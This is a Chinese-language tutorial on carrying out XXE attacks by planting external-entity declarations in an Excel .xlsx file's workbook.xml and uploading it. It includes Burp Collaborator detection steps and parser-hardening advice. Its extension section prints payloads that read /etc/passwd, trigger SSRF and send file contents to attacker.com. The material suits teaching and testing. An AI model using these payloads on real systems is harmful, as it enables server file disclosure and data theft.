利用EXCEL进行XXE攻击
字数 1676 2025-08-27 12:33:54
利用Excel进行XXE攻击技术详解
0x00 前言
XML外部实体攻击(XXE)是一种常见的安全漏洞,特别是在基于HTTP的API中。本技术文档将详细介绍如何通过Excel文件进行XXE攻击,这种攻击方式利用了现代Office文件(包括Excel)的XML基础结构。
0x01 技术背景
Office Open XML (OOXML)格式
- 所有Office 2007及以后版本的文件格式实际上都是XML文档的zip压缩包
- Excel文件(.xlsx)解压后包含多个XML文件
- 许多应用程序在处理上传的Excel文件时会解析这些XML文件
- 如果XML解析器配置不安全,就可能存在XXE漏洞
0x02 攻击准备
所需工具
- 任意Excel文件(可使用Google Sheets创建并下载为.xlsx格式)
- 解压缩工具(unzip)
- 压缩工具(zip)
- Burp Suite Professional(用于Burp Collaborator功能)
目标环境
- 接受Excel文件上传的Web应用程序
- 应用程序会解析Excel文件内容
- XML解析器未禁用外部实体引用
0x03 攻击步骤详解
第一步:准备Excel文件
- 创建一个新的空白Excel文件
- 可以添加一些内容(非必需)
- 保存为.xlsx格式
第二步:解压Excel文件
$ mkdir XXE && cd XXE
$ unzip ../yourfile.xlsx
解压后会得到以下典型文件结构:
xl/drawings/drawing1.xml
xl/worksheets/sheet1.xml
xl/worksheets/_rels/sheet1.xml.rels
xl/sharedStrings.xml
xl/styles.xml
xl/workbook.xml
xl/_rels/workbook.xml.rels
_rels/.rels
[Content_Types].xml
第三步:识别易受攻击的XML文件
根据经验,以下文件最可能被解析:
xl/workbook.xml- 包含工作簿概述和工作表列表xl/worksheets/sheetX.xml- 单个工作表内容xl/sharedStrings.xml- 共享字符串内容
大多数应用程序会先解析xl/workbook.xml获取工作表列表,然后分别读取各工作表内容。
第四步:构造XXE载荷
- 打开Burp Suite Professional
- 启动Burp Collaborator客户端
- 复制生成的Collaborator域名(如
gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net)
编辑xl/workbook.xml文件,在第2行和第3行插入以下内容(使用你的Collaborator域名):
<!DOCTYPE x [
<!ENTITY xxe SYSTEM "http://yourcollaboratordomain.burpcollaborator.net/">
]>
<x>&xxe;</x>
第五步:重新打包Excel文件
$ zip -r ../poc.xslx *
第六步:上传恶意Excel文件
将生成的poc.xslx文件上传到目标应用程序。
第七步:验证攻击
检查Burp Collaborator客户端是否有HTTP或DNS请求记录,确认XXE漏洞存在。
0x04 技术原理分析
Excel文件结构解析
现代Excel文件(.xlsx)实际上是包含多个XML文件的zip压缩包。当应用程序解析这些XML文件时:
- 如果XML解析器启用了外部实体引用
- 且未正确配置安全选项
- 攻击者可以在XML中插入恶意实体声明
- 解析时会尝试解析这些外部实体
- 导致服务器向攻击者控制的地址发起请求
盲XXE攻击技术
当无法直接看到响应时,可以使用Burp Collaborator进行盲检测:
- 通过DNS或HTTP请求确认漏洞
- 即使应用阻止HTTP出站请求,可能仍允许DNS查询
- Collaborator可以同时捕获两种类型的交互
0x05 防御措施
针对开发人员
-
禁用XML外部实体处理:
// Java示例 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
使用安全的XML解析器配置
-
对上传的Excel文件进行严格验证
针对系统管理员
- 限制服务器出站网络连接
- 监控异常DNS查询
- 使用Web应用防火墙(WAF)规则检测XXE攻击
0x06 扩展攻击技术
一旦确认XXE漏洞存在,可以尝试以下技术:
-
文件读取攻击:
<!ENTITY xxe SYSTEM "file:///etc/passwd"> -
服务器端请求伪造(SSRF):
<!ENTITY xxe SYSTEM "http://internal-server/"> -
数据外带技术:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>"> %eval; %exfil;
0x07 总结
通过Excel文件进行XXE攻击是一种有效但常被忽视的攻击方式。防御关键在于:
- 安全配置XML解析器
- 严格验证上传文件
- 限制服务器网络访问
这种攻击技术同样适用于其他Office Open XML格式文件,如Word(.docx)和PowerPoint(.pptx)。